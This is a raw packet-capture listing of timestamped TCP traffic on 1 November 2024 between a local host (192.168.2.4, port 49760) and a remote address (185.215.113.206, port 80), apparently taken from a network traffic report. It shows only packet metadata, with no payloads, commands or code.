Nov 1, 2024 05:52:32.813680887 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813690901 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813714027 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813726902 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813739061 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813749075 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813766003 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813769102 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813776016 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813800097 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813803911 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813827991 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813838005 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813843966 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813848019 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813867092 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813885927 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.813967943 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813980103 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.813991070 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814006090 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814017057 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814028978 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814030886 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814040899 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814053059 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814059019 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814079046 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814104080 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814146996 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814169884 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814179897 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814189911 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814202070 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814205885 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814213037 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814238071 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814243078 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814250946 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814275026 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814296961 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814330101 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814341068 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814352036 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814368963 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814393997 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814429998 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814441919 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814454079 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814470053 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814483881 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814502001 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814513922 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814526081 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814539909 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814549923 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814560890 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814563990 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814572096 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814584017 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814591885 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814620018 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814734936 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814774990 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814852953 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814863920 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814886093 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814898968 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814903021 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814913988 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814927101 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814932108 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814939976 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814954996 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.814955950 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814969063 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.814980984 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.815001011 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.815025091 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.815053940 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.815067053 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.815078020 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.815097094 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.815124035 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.815135002 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.815146923 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.815157890 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.815169096 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.815177917 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.815198898 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.815223932 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936229944 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936342001 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936395884 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936408043 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936431885 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936440945 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936449051 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936458111 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936460018 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936470985 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936472893 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936490059 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936495066 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936506033 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936531067 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936533928 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936546087 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936551094 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936556101 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936568022 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936572075 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936590910 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936592102 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936604023 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936613083 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936616898 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936628103 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936638117 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936640978 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936665058 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936666012 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936682940 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936683893 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936701059 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936706066 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936714888 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936723948 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936727047 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936739922 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936739922 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936758041 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936767101 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936775923 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936784983 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936800003 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936801910 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936816931 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936824083 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936831951 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936837912 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936850071 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936851978 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936863899 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936878920 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936881065 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936892986 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936904907 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.936911106 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936920881 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936938047 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.936985016 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937000990 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937021017 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937024117 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937033892 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937047005 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937058926 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937061071 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937072039 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937083006 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937088013 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937094927 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937097073 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937119007 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937138081 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937143087 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937150955 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937161922 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937175989 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937195063 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937213898 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937237024 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937247038 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937258005 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937258005 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937282085 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937289000 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937294960 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937310934 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937314987 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937342882 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937351942 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937365055 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937391996 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937426090 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937436104 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937444925 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937463999 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937485933 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937506914 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937527895 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937546015 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937558889 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937658072 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937680960 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937690973 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937697887 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937710047 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937728882 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937736988 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937761068 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937772989 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937772989 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937786102 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937797070 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937800884 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937817097 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937835932 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937844992 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937855959 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937865973 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937887907 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937891006 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937899113 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937908888 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937922001 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.937927961 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937947989 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937966108 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.937998056 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938009977 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938020945 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938035965 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938044071 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938052893 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938055038 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938075066 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938098907 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938136101 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938148022 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938158035 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938170910 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938191891 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938205957 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938216925 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938227892 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938244104 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938266039 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938285112 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938297033 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938307047 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938318968 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938324928 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938329935 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938349962 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938374043 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938380957 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938404083 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938414097 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938416004 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938457012 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938493013 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938503981 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938513994 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938529968 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938530922 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938545942 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938575029 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938582897 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938594103 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938621998 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938628912 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938636065 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938647985 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938657045 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938671112 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938688040 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938703060 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938705921 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938719988 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938741922 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938745022 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938755035 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938766003 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.938771009 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938788891 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.938815117 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.059530020 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059551954 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059562922 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059598923 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.059614897 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.059701920 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059725046 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059735060 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059746981 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059751034 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.059758902 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059770107 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059778929 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.059782028 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059807062 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.059808969 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059820890 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059825897 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.059844971 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.059847116 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059858084 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059863091 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.059869051 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059881926 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059884071 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.059902906 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.059906006 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059910059 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.059917927 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059928894 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059940100 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059947014 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.059951067 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059958935 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.059979916 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059989929 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.059995890 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.059999943 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.060012102 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.060014963 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.060031891 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.060040951 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.060053110 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.060062885 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.060081959 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.060090065 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.060094118 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.060107946 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.060117960 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.060122013 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.060139894 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.060144901 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.060165882 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.060167074 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.060178041 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.060188055 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.060193062 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.060204983 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.060210943 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.060239077 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:33.060239077 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:33.060250998 CET	80	49760	185.215.113.206	192.168.2.4
